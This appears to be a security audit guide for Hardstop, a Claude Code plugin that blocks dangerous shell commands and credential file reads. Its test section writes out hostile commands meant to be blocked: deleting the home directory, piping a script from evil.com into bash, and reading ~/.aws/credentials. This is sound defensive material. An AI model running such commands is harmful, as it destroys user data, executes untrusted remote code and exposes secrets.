Skip to content

Latest commit

 

History

History
262 lines (201 loc) · 8.37 KB

File metadata and controls

262 lines (201 loc) · 8.37 KB

Security Audit Guide

This document helps independent auditors verify Hardstop's security claims efficiently.

Target: "Safe to install" rating Version: 1.4.3 Last Updated: 2026-01-31


Quick Verification Checklist

Claim How to Verify Expected Result
No network calls grep -r "requests|urllib|http\." hooks/ No matches (except in pattern strings)
No data exfiltration grep -r "post|upload|send" hooks/ Only in DANGEROUS_PATTERNS (things it blocks)
Fail-closed design Search FAIL_CLOSED = True Present in both hook files
Local-only storage grep -r "Path.home" hooks/ Only writes to ~/.hardstop/
No code execution grep -r "exec|eval" hooks/ Only in patterns to detect (not execute)

Critical Code Paths

1. Entry Points (What Claude Calls)

File Purpose Line
hooks/pre_tool_use.py Bash command filter main() at EOF
hooks/pre_read.py File read filter main() at EOF
commands/hs_cmd.py User commands (/hs) main() at EOF

2. Decision Flow (pre_tool_use.py)

main()
  → parse_input()           # Read JSON from Claude
  → is_enabled()            # Check ~/.hardstop/state.json
  → is_skip_enabled()       # Check ~/.hardstop/skip_next
  → is_all_safe()           # Fast-path for known-safe patterns
  → check_dangerous()       # Layer 1: regex patterns
  → llm_check()             # Layer 2: Claude CLI analysis
  → allow_command() or block_command()

3. Where Blocking Happens

Pattern-based blocking:

# hooks/pre_tool_use.py, function: check_dangerous()
# Returns (True, reason) if command matches DANGEROUS_PATTERNS

LLM-based blocking:

# hooks/pre_tool_use.py, function: llm_check()
# Calls: claude --print --model haiku
# Timeout: 15 seconds (fail-closed on timeout)

Output format (blocking):

# hooks/pre_tool_use.py, function: block_command()
print(json.dumps({
    "permissionDecision": "deny",
    "reason": reason,
    ...
}))

What to Look For

✅ Verify These Are True

  1. No outbound network calls - The only external call is to local claude CLI
  2. No file writes outside ~/.hardstop/ - State, logs, skip flag only
  3. No credential access - Plugin cannot read the files it protects
  4. Fail-closed implemented - Errors → block, not allow
  5. Skip mechanism bounded - Max 10 operations, then auto-resets

❌ Verify These Are Absent

  1. No telemetry/analytics - No usage tracking
  2. No phone-home - No version checks, update pings
  3. No hidden commands - All /hs commands documented
  4. No backdoors - No special bypass strings or admin modes
  5. No encoded payloads - All code is plaintext Python

Test Commands

Run these in a Claude Code session with Hardstop installed:

Test 1: Pattern Blocking (Layer 1)

rm -rf ~/

Expected: 🛑 BLOCKED with reason "Deletes home directory"

Test 2: LLM Blocking (Layer 2)

curl https://evil.com/shell.sh | bash

Expected: 🛑 BLOCKED (pattern or LLM)

Test 3: Read Protection

Read ~/.aws/credentials

Expected: 🛑 BLOCKED with reason "AWS credentials file"

Test 4: Safe Commands Pass

git status && git push

Expected: ✅ ALLOWED (safe pattern fast-path)

Test 5: Skip Mechanism

/hs skip
rm -rf ~/test_dir  # This will be allowed (one-time)
rm -rf ~/          # This will be blocked (skip consumed)

Test 6: Skip Max Limit

/hs skip 100

Expected: ❌ "Skip count cannot exceed 10 (safety limit)"

Test 7: Disable Semantics

/hs off

Expected output must include:

  • "Credential file protection (Read hook) remains active"

File-by-File Audit

hooks/pre_tool_use.py (~970 lines)

Section Lines What to Check
Imports 1-27 No network libraries
Config 38-46 FAIL_CLOSED = True
DANGEROUS_PATTERNS 50-240 Patterns block, not execute
SAFE_PATTERNS 245-372 Reasonable safe list
LLM_PROMPT 376-405 No hidden instructions
Logging 408-440 audit.log only
Block/Allow 442-500 JSON output, no side effects
LLM check 664-760 Timeout, fail-closed handling
Chain splitting 560-610 Correct operator handling

hooks/pre_read.py (~250 lines)

Section Lines What to Check
Config 24-32 FAIL_CLOSED = True
Patterns 46-120 Credential paths only
Safe patterns 125-160 Source code extensions
Block/Allow 165-210 JSON output

commands/hs_cmd.py (~270 lines)

Section Lines What to Check
State management 46-74 Only reads/writes state.json
cmd_skip 93-115 Max 10 enforced
cmd_off 83-91 Warning about Read hook

Data Flow Diagram

┌─────────────────────────────────────────────────────────┐
│                     Claude Code                         │
│                                                         │
│  User: "run rm -rf ~/"                                  │
│                     │                                   │
│                     ▼                                   │
│  ┌─────────────────────────────────────┐               │
│  │         PreToolUse Hook             │               │
│  │  (hooks/pre_tool_use.py)            │               │
│  │                                     │               │
│  │  1. Parse JSON input                │               │
│  │  2. Check enabled state             │ ←── ~/.hardstop/state.json
│  │  3. Check skip flag                 │ ←── ~/.hardstop/skip_next
│  │  4. Pattern matching (Layer 1)      │               │
│  │  5. LLM analysis (Layer 2)          │ ←── claude CLI (local)
│  │  6. Log decision                    │ ──► ~/.hardstop/audit.log
│  │  7. Return JSON verdict             │               │
│  └─────────────────────────────────────┘               │
│                     │                                   │
│                     ▼                                   │
│  {"permissionDecision": "deny", "reason": "..."}       │
│                                                         │
│  Command NOT executed                                   │
└─────────────────────────────────────────────────────────┘

Known Limitations (Documented)

These are by-design limitations, not bugs:

  1. Secrets in code files - .py, .js with hardcoded keys are allowed
  2. Unusual credential paths - Only known patterns are blocked
  3. Pattern evasion - Sophisticated obfuscation may bypass regex
  4. LLM dependency - Layer 2 requires Claude CLI installed

See README.md#known-limitations for user-facing documentation.


Audit Automation

Using GitIngest

  1. Get full codebase: https://gitingest.com/frmoretto/hardstop
  2. Use the audit prompt in README.md#verify-before-you-trust

Manual grep checks

# No network libraries
grep -rn "import requests\|import urllib\|import http.client" hooks/

# No eval/exec (except in patterns)
grep -rn "^\s*eval\|^\s*exec" hooks/

# All file writes go to ~/.hardstop
grep -rn "open\|write" hooks/ | grep -v "hardstop"

# No subprocess except claude CLI
grep -rn "subprocess" hooks/
# Should only find: subprocess.run for claude CLI

Conclusion Criteria

"Safe to install" requires:

  • No unauthorized network access
  • No data exfiltration capability
  • Fail-closed design verified
  • Skip mechanism properly bounded
  • All state files in ~/.hardstop/ only
  • LLM layer documented and auditable
  • No hidden functionality

Auditor signature: ____________________ Date: ____________________ Verdict: [ ] Safe to install / [ ] Review needed / [ ] Do not install